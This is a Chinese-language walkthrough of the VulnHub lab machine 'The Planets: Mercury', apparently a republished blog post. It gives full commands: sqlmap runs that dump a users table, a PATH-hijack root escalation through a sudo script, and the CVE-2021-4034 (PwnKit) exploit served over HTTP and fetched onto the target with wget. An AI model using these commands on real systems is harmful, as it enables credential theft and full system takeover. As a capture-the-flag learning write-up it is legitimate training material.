Vulnhub项目:THE PLANETS: MERCURY

2024-06-03 22:36
文章标签 项目 vulnhub mercury planets

本文主要是介绍Vulnhub项目:THE PLANETS: MERCURY,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1、靶场地址

The Planets: Mercury ~ VulnHubThe Planets: Mercury, made by SirFlash. Download & walkthrough links are available.icon-default.png?t=N7T8https://vulnhub.com/entry/the-planets-mercury,544/

这好像是个系列的,关于星球系列,之前还做过一个地球的,有兴趣的可以看看!Vulnhub项目:Earth_vulnhub earth-CSDN博客文章浏览阅读714次。Vulnhub项目:Earth_vulnhub earthhttps://blog.csdn.net/weixin_43938645/article/details/130265310?spm=1001.2014.3001.5501

2、渗透过程

搞起!确认目标 56.165,本机 56.160,nmap 探测开放端口。

开放 22 和 8080 端口,访问 8080,没啥东西,那就扫个目录看看 

只有个 robots.txt 

访问一下,啥都没有 

尝试 index.html,发现了报错提醒,有个新的路径。

 访问新路径后发现了一张图和两个链接,随便点一点观察一下。

访问 load a fact 后发现这块的 id 有东西 。

 

经过几次尝试发现这块应该有 sql 注入 。

打个单引号,果然,如下图所示

 sqlmap 启动,具体命令如下,基础操作! 

sqlmap -u http://192.168.56.165:8080/mercuryfacts/1 --dbs --batch

sqlmap -u http://192.168.56.165:8080/mercuryfacts/1 -D mercury --tables --batch
sqlmap -u http://192.168.56.165:8080/mercuryfacts/1 -D mercury -T users --columns --batch

sqlmap -u http://192.168.56.165:8080/mercuryfacts/1 -D mercury -T users -C username,password --dump --batch

发现用户名和密码。用这些用户名和密码去尝试 ssh,也可以用 hydra 去爆破 ssh。 

经过测试发现只有最后一个可以登上。

进入后,首先发现了 user_flag,还发现了个文件夹,里面有提示 

这两个怎么看怎么像个用户名和密码,只不过密码是base64 加密了

那就解密下下面的用户,很好,出来了,下面去连接这个 linuxmaster 用户,当然也可以之间在 webmaster 用户那 su 一下 

找了一下,没啥东西,那就提权一下。这里有两种方式提权,首先介绍第一种,利用 sudo -l,进行环境变量提权。可以看看这个 sh 文件是怎么写的。

他这是用 tail 命令去做了个操作,那可以自己做一个 tail 二进制程序,然后把它的环境变量设置一下,应用新的环境变量,用这个环境变量下的 tail 去执行这个 sh 文件。 

echo "/bin/bash" > tail

chmod 777 tail

export PATH=.:$PATH

sudo --preserve-env=PATH /usr/bin/check_syslog.sh

啪的一下,肉特root了,获取了 root_flag。就很舒服!  

下面是第二种方式,利用 suid 去提权。输入下面的命令去找具有 suid 的文件。 

find / -perm -4000 -type f 2>/dev/null

好巧不巧,发现了个这个,我以前文章有对这个 cve 进行分析CVE-2021-4034漏洞原理解析-CSDN博客文章浏览阅读8k次,点赞5次,收藏14次。本篇文章主要分析了CVE-2021-4034漏洞,同时介绍了相关知识点以及使用方法,漏洞复现在前渗透测试(七)中体现,记录自己学习过程。_cve-2021-4034https://blog.csdn.net/weixin_43938645/article/details/127924107 下载,打包,开启 web 服务,让靶机把这个 cve 下载到靶机上,然后解压一下。

GitHub - berdav/CVE-2021-4034: CVE-2021-4034 1day

git clone到本地打包

tar -czvf CVE-2021-4034.tar.gz CVE-2021-4034

python3 -m http.server 8099

靶机linuxmaster   wget一下,解压,tar -xvf CVE-2021-4034.tar.gz

 

那下面就简单多了!!! 

进到这个文件夹下,make 一下 

生成了 cve-2021-4034,之间运行就可返回 root,提权成功!!!! 

这个 cve 用户还是挺广的,后面还有个类似的靶机,也是用这个 cve,当然还有其他的方式,正在做其他的方式提权,缓冲区溢出,搞起!

这个靶机算是用两种方式拿下了,希望各位看官继续关注后续文章,哈哈哈,请点赞!!哈哈!!

3、思路总结

接下来总结下思路,从 web 开始思路基本上差不多,用 sql 注入当做切入点,获取用户名和密码,然后进行 ssh 连接,进入系统后,去发现相关文件。进一步深入提权,两种方式,说不定还有更多方式,可以多尝试尝试,没事,靶机么,随便搞,又打不坏,大不了重装!!!

坚持每天能做两台,更新两篇文章,朴实无华的一天就这么度过了,还有不到一个月就得撤了,有点舍不得呢xd!!!!

这篇关于Vulnhub项目:THE PLANETS: MERCURY的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1028304

相关文章

Python 中 requests 与 aiohttp 在实际项目中的选择策略详解

《Python中requests与aiohttp在实际项目中的选择策略详解》本文主要介绍了Python爬虫开发中常用的两个库requests和aiohttp的使用方法及其区别,通过实际项目案... 目录一、requests 库二、aiohttp 库三、requests 和 aiohttp 的比较四、requ

SpringBoot项目启动后自动加载系统配置的多种实现方式

《SpringBoot项目启动后自动加载系统配置的多种实现方式》:本文主要介绍SpringBoot项目启动后自动加载系统配置的多种实现方式,并通过代码示例讲解的非常详细,对大家的学习或工作有一定的... 目录1. 使用 CommandLineRunner实现方式:2. 使用 ApplicationRunne

使用IntelliJ IDEA创建简单的Java Web项目完整步骤

《使用IntelliJIDEA创建简单的JavaWeb项目完整步骤》:本文主要介绍如何使用IntelliJIDEA创建一个简单的JavaWeb项目,实现登录、注册和查看用户列表功能,使用Se... 目录前置准备项目功能实现步骤1. 创建项目2. 配置 Tomcat3. 项目文件结构4. 创建数据库和表5.

Python项目打包部署到服务器的实现

《Python项目打包部署到服务器的实现》本文主要介绍了PyCharm和Ubuntu服务器部署Python项目,包括打包、上传、安装和设置自启动服务的步骤,具有一定的参考价值,感兴趣的可以了解一下... 目录一、准备工作二、项目打包三、部署到服务器四、设置服务自启动一、准备工作开发环境:本文以PyChar

多模块的springboot项目发布指定模块的脚本方式

《多模块的springboot项目发布指定模块的脚本方式》该文章主要介绍了如何在多模块的SpringBoot项目中发布指定模块的脚本,作者原先的脚本会清理并编译所有模块,导致发布时间过长,通过简化脚本... 目录多模块的springboot项目发布指定模块的脚本1、不计成本地全部发布2、指定模块发布总结多模

SpringBoot项目删除Bean或者不加载Bean的问题解决

《SpringBoot项目删除Bean或者不加载Bean的问题解决》文章介绍了在SpringBoot项目中如何使用@ComponentScan注解和自定义过滤器实现不加载某些Bean的方法,本文通过实... 使用@ComponentScan注解中的@ComponentScan.Filter标记不加载。@C

javafx 如何将项目打包为 Windows 的可执行文件exe

《javafx如何将项目打包为Windows的可执行文件exe》文章介绍了三种将JavaFX项目打包为.exe文件的方法:方法1使用jpackage(适用于JDK14及以上版本),方法2使用La... 目录方法 1:使用 jpackage(适用于 JDK 14 及更高版本)方法 2:使用 Launch4j(

Docker集成CI/CD的项目实践

《Docker集成CI/CD的项目实践》本文主要介绍了Docker集成CI/CD的项目实践,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学... 目录一、引言1.1 什么是 CI/CD?1.2 docker 在 CI/CD 中的作用二、Docke

SpringBoot项目引入token设置方式

《SpringBoot项目引入token设置方式》本文详细介绍了JWT(JSONWebToken)的基本概念、结构、应用场景以及工作原理,通过动手实践,展示了如何在SpringBoot项目中实现JWT... 目录一. 先了解熟悉JWT(jsON Web Token)1. JSON Web Token是什么鬼

手把手教你idea中创建一个javaweb(webapp)项目详细图文教程

《手把手教你idea中创建一个javaweb(webapp)项目详细图文教程》:本文主要介绍如何使用IntelliJIDEA创建一个Maven项目,并配置Tomcat服务器进行运行,过程包括创建... 1.启动idea2.创建项目模板点击项目-新建项目-选择maven,显示如下页面输入项目名称,选择